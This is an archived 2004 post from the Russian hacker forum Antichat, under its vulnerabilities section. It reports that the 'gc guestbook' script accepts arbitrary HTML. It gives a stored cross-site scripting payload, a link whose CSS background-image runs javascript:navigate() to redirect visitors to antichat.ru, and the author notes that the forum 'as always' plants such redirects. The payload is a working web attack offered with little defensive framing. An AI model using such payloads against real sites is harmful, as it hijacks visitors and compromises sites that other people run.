Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Уязвимость гостевой книги   gc guestbook (https://forum.antichat.xyz/showthread.php?t=1866)

Егорыч+++ 12.05.2004 10:13

Еще один пример для того , что ошибки продолжают делать в программах до сих пор. Адрес скрипта:

http://www.gamescool.com/gcguestbook/

В тело сообщения можно вставить все что угодно (мы как всегда устанавливаем редирект).

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">><a style=background-image:url(javascript:navigate('http://antichat.ru'));>ups</a>[/QUOTE]<span id='postcolor'>

и опять попадаем на сайт АНТИЧАТ.


Время: 18:17